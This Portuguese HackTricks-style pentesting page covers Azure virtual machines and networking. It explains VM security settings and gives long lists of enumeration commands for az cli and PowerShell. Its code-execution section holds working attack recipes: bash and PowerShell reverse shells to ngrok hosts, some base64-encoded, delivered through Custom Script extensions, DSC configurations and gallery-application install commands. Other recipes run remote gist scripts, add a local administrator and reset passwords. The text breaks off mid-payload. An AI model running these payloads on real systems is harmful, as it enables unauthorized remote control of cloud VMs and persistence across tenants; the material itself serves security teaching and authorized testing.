39 KiB
Az - Máquinas Virtuais & Rede
{{#include ../../../../banners/hacktricks-training.md}}
Informações Básicas sobre Redes do Azure
As redes do Azure contêm diferentes entidades e maneiras de configurá-las. Você pode encontrar uma breve descrição, exemplos e comandos de enumeração das diferentes entidades de rede do Azure em:
{{#ref}} az-azure-network.md {{#endref}}
Informações Básicas sobre VMs
As Máquinas Virtuais (VMs) do Azure são servidores baseados em nuvem flexíveis e sob demanda que permitem executar sistemas operacionais Windows ou Linux. Elas permitem que você implante aplicativos e cargas de trabalho sem gerenciar hardware físico. As VMs do Azure podem ser configuradas com várias opções de CPU, memória e armazenamento para atender a necessidades específicas e se integrar a serviços do Azure, como redes virtuais, armazenamento e ferramentas de segurança.
Configurações de Segurança
- Zonas de Disponibilidade: As zonas de disponibilidade são grupos distintos de datacenters dentro de uma região específica do Azure que são fisicamente separados para minimizar o risco de múltiplas zonas serem afetadas por interrupções ou desastres locais.
- Tipo de Segurança:
- Segurança Padrão: Este é o tipo de segurança padrão que não requer nenhuma configuração específica.
- Lançamento Confiável: Este tipo de segurança melhora a proteção contra boot kits e malware em nível de kernel usando Secure Boot e Virtual Trusted Platform Module (vTPM).
- VMs Confidenciais: Além de um lançamento confiável, oferece isolamento baseado em hardware entre a VM, hipervisor e gerenciamento do host, melhora a criptografia do disco e mais.
- Autenticação: Por padrão, uma nova chave SSH é gerada, embora seja possível usar uma chave pública ou usar uma chave anterior e o nome de usuário por padrão é azureuser. Também é possível configurar para usar uma senha.
- Criptografia de disco da VM: O disco é criptografado em repouso por padrão usando uma chave gerenciada pela plataforma.
- Também é possível habilitar Criptografia no host, onde os dados serão criptografados no host antes de serem enviados para o serviço de armazenamento, garantindo uma criptografia de ponta a ponta entre o host e o serviço de armazenamento (docs).
- Grupo de segurança de rede NIC:
- Nenhum: Basicamente abre todas as portas
- Básico: Permite abrir facilmente as portas de entrada HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Avançado: Seleciona um grupo de segurança
- Backup: É possível habilitar backup Padrão (uma vez por dia) e Aprimorado (múltiplas vezes por dia)
- Opções de orquestração de patches: Isso permite aplicar automaticamente patches nas VMs de acordo com a política selecionada, conforme descrito na docs.
- Alertas: É possível receber alertas automaticamente por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão:
- Porcentagem de CPU é maior que 80%
- Bytes de Memória Disponível é menor que 1GB
- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95%
- Porcentagem de IOPS do SO Consumidos é maior que 95%
- Rede Total é maior que 500GB
- Rede Saída Total é maior que 200GB
- VmAvailabilityMetric é menor que 1
- Monitor de Saúde: Por padrão, verifica o protocolo HTTP na porta 80
- Bloqueios: Permite bloquear uma VM para que ela possa ser apenas lida (Bloqueio Somente Leitura) ou que possa ser lida e atualizada, mas não excluída (Bloqueio Não Pode Excluir).
- A maioria dos recursos relacionados a VM também suporta bloqueios como discos, instantâneas...
- Os bloqueios também podem ser aplicados em níveis de grupo de recursos e assinatura
Discos & instantâneas
- É possível habilitar a anexação de um disco a 2 ou mais VMs
- Por padrão, cada disco é criptografado com uma chave da plataforma.
- O mesmo se aplica às instantâneas
- Por padrão, é possível compartilhar o disco de todas as redes, mas também pode ser restrito a apenas certos acessos privados ou desativar completamente o acesso público e privado.
- O mesmo se aplica às instantâneas
- É possível gerar um URI SAS (de no máximo 60 dias) para exportar o disco, que pode ser configurado para exigir autenticação ou não
- O mesmo se aplica às instantâneas
{{#tabs}} {{#tab name="az cli"}}
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
{{#endtab}} {{#tab name="PowerShell"}}
# List all disks
Get-AzDisk
# Get info about a disk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
{{#endtab}} {{#endtabs}}
Imagens, Imagens de Galeria & Pontos de Restauração
Uma imagem de VM é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para criar uma nova máquina virtual (VM). A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter múltiplos discos e é projetada para servir como um modelo para criar novas VMs.
As imagens podem ser gerenciadas na seção de Imagens do Azure ou dentro das galerias de computação do Azure, que permitem gerar versões e compartilhar a imagem entre locatários ou até torná-la pública.
Um ponto de restauração armazena a configuração da VM e instantâneas consistentes de aplicativo em um ponto no tempo de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico.
{{#tabs}} {{#tab name="az cli"}}
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
{{#endtab}} {{#tab name="PowerShell"}}
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
{{#endtab}} {{#endtabs}}
Azure Site Recovery
Do docs: O Site Recovery ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. O Site Recovery replica cargas de trabalho que estão sendo executadas em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Depois que o local primário estiver funcionando novamente, você pode retornar a ele.
Azure Bastion
O Azure Bastion permite acesso seguro e contínuo ao Remote Desktop Protocol (RDP) e Secure Shell (SSH) às suas máquinas virtuais (VMs) diretamente através do Portal do Azure ou via um jump box. Ao eliminar a necessidade de endereços IP públicos em suas VMs.
O Bastion implanta uma sub-rede chamada AzureBastionSubnet com uma máscara de rede /26 na VNet em que precisa funcionar. Em seguida, permite conectar-se a VMs internas através do navegador usando RDP e SSH, evitando expor portas das VMs à Internet. Ele também pode funcionar como um jump host.
Para listar todos os Hosts do Azure Bastion em sua assinatura e conectar-se a VMs através deles, você pode usar os seguintes comandos:
{{#tabs}} {{#tab name="az cli"}}
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
{{#endtab}} {{#tab name="PowerShell"}}
# List bastions
Get-AzBastion
{{#endtab}} {{#endtabs}}
Metadados
O Azure Instance Metadata Service (IMDS) fornece informações sobre instâncias de máquinas virtuais em execução para auxiliar na sua gestão e configuração. Ele oferece detalhes como SKU, armazenamento, configurações de rede e informações sobre eventos de manutenção futuros através da API REST disponível no endereço IP não roteável 169.254.169.254, que é acessível apenas de dentro da VM. A comunicação entre a VM e o IMDS permanece dentro do host, garantindo acesso seguro. Ao consultar o IMDS, os clientes HTTP dentro da VM devem contornar proxies da web para garantir a comunicação adequada.
Além disso, para contatar o endpoint de metadados, a solicitação HTTP deve ter o cabeçalho Metadata: true e não deve ter o cabeçalho X-Forwarded-For.
Verifique como enumerá-lo em:
{{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm {{#endref}}
Enumeração de VM
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile
# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>
#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>
Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)
# Disks
## List all disks and get info about one
Get-AzDisk
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
# Snapshots
## List all galleries abd get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all snapshots and get info about one
Get-AzSnapshot
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>
## List all image definitions in a gallery and get info about one
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
## List all the versions of an image definition in a gallery
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
## List all VM applications inside a gallery
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
# Images
# List all managed images in your subscription
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
# Restore points
## List all restore points and get info about 1
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
# Bastion
## List bastions
Get-AzBastion
# Network
## List all VNets in your subscription
Get-AzVirtualNetwork
## List VNet peering connections for a given VNet
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings
## List Shared Resources (e.g., Azure Firewall) in the Hub
Get-AzFirewall
## List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
## List VPN Connections
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
## List ExpressRoute Circuits
Get-AzExpressRouteCircuit
# Misc
## List all virtual machine scale sets
Get-AzVmss
## List all availability sets
Get-AzAvailabilitySet
## List all load balancers
Get-AzLoadBalancer
## List all storage accounts
Get-AzStorageAccount
## List all custom script extensions on a specific VM
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
Execução de Código em VMs
Extensões de VM
As extensões de VM do Azure são pequenos aplicativos que fornecem configuração pós-implantação e tarefas de automação em máquinas virtuais (VMs) do Azure.
Isso permitiria executar código arbitrário dentro das VMs.
A permissão necessária é Microsoft.Compute/virtualMachines/extensions/write.
É possível listar todas as extensões disponíveis com:
{{#tabs }} {{#tab name="Az Cli" }}
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
{{#endtab }} {{#tab name="PowerShell" }}
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
{{#endtab }} {{#endtabs }}
É possível executar extensões personalizadas que executam código personalizado:
{{#tabs }} {{#tab name="Linux" }}
- Execute um shell reverso
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Execute um script localizado na internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
{{#endtab }}
{{#tab name="Windows" }}
- Execute um shell reverso
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
- Execute reverse shell a partir de arquivo
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
Você também pode executar outras cargas úteis como: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
- Redefinir senha usando a extensão VMAccess
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
{{#endtab }} {{#endtabs }}
Extensões de VM relevantes
A permissão necessária ainda é Microsoft.Compute/virtualMachines/extensions/write.
Extensão VMAccess
Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)
Esta é uma extensão de VM que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração das VMs do Azure. Portanto, pode ser usada para executar comandos arbitrários em VMs do Windows através desta extensão:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Trabalhador de Runbook Híbrido
Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o serviço de Contas de Automação.
Aplicações de VM
Estes são pacotes com todos os dados da aplicação e scripts de instalação e desinstalação que podem ser usados para adicionar e remover facilmente aplicações em VMs.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Estes são os caminhos onde os aplicativos são baixados dentro do sistema de arquivos:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Verifique como instalar novos aplicativos em https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
É possível compartilhar aplicativos e galerias individuais com outras assinaturas ou locatários. O que é muito interessante porque pode permitir que um atacante insira um backdoor em um aplicativo e faça pivot para outras assinaturas e locatários.
Mas não há um "marketplace" para aplicativos de vm como há para extensões.
As permissões necessárias são:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Exemplo de exploração para executar comandos arbitrários:
{{#tabs }} {{#tab name="Linux" }}
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
{{#endtab }}
{{#tab name="Windows" }}
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwB